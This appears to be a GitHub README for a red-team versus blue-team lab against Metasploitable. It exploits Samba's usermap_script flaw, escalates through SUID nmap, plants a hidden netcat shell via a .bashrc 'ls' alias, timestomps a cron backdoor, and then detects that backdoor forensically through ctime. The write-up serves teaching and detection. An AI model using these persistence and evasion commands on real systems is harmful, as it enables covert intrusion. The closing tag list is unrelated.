aqilown/Samba-Exploitations-and-Forensic-Analysis

GitHub: aqilown/Samba-Exploitations-and-Forensic-Analysis

一个红蓝对抗实验室项目,演示 Samba 服务从 RCE 攻击、提权、持久化到蓝队取证检测的完整攻防流程。

Stars: 0 | Forks: 0

# Samba RCE 与后渗透取证(红队 vs 蓝队) ## 目标 演示一条完整的攻击路径,涵盖远程代码执行(RCE)、权限提升和高级持续性威胁(APT)技术,随后由蓝队进行取证分析,以检测已部署的持久化机制。 ## 环境 * **攻击机 / 取证分析机:** Kali Linux * **目标机:** Metasploitable(IP: 192.168.56.102) * **脆弱服务:** Samba(usermap_script) ## 🔴 第一阶段:红队行动(攻击与持久化) ### 1. 初始访问(Samba RCE) * **漏洞利用:** 利用 Metasploit Framework 的 `exploit/multi/samba/usermap_script` 模块,攻击 Samba 服务中的漏洞。 * **Payload:** 传递反向 netcat payload(`cmd/unix/reverse`)以建立初始 shell 连接。 * **会话 stabilization:** 使用 Python 将基础 shell 升级为交互式 bash 会话:`python -c 'import pty; pty.spawn("/bin/bash")'`。

image

image

### 2. 特权提升 * **Discovery:** Scanned for files with SUID permissions configured (`find / -perm -u=s -type f 2>/dev/null`). * **Exploitation:** Identified an outdated version of `/usr/bin/nmap` possessing SUID root privileges. Escalated to the `root` user by invoking Nmap's interactive mode and spawning a shell (`!sh`). Verified root access using `whoami`.

image image image

### 3. 持久化机制 To ensure sustained access without re-exploitation, two stealthy persistence techniques were deployed: * **Alias Hijacking:** Injected a malicious alias into the root user's `~/.bashrc`. The payload `alias ls='nc -lvp 44444 -e /bin/sh > /dev/null 2>&1 & ls'` triggers a hidden reverse shell whenever the `ls` command is executed.

image image image

* **Timestomping:** Created a backdoor script in `/etc/cron.d/`. To evade timeline analysis, the `touch -t 201001011200 backdoor` command was used to forge the creation and modification timestamps, backdating the file to January 1, 2010.

image image

--- ## 🔵 第二阶段:蓝队行动(取证检测) 通过检测被篡改时间戳的持久化机制,展示了事件响应能力: * **检测方法:** 虽然攻击者成功伪造了 `mtime`(Modify)和 `atime`(Access),但 `ctime`(Change/Inode modification time)很难被篡改。 * **执行:** 执行 `find /etc/cron.d -ctime -1` 以识别过去 24 小时内元数据被修改的文件。该命令成功标记了隐藏的 `backdoor` 文件。 * **验证:** `stat backdoor` 命令暴露了关键差异。攻击者将“Modify”和“Access”时间戳伪造为 `2010-01-01`,但系统的“Change”时间戳准确反映了其实际修改日期 `2026-06-11`。

image

标签:CSV导出, XXE攻击, 协议分析, 子域名变形, 安全实验, 应用安全, 数字取证, 权限提升, 痕迹隐藏, 自动化脚本, 逆向工具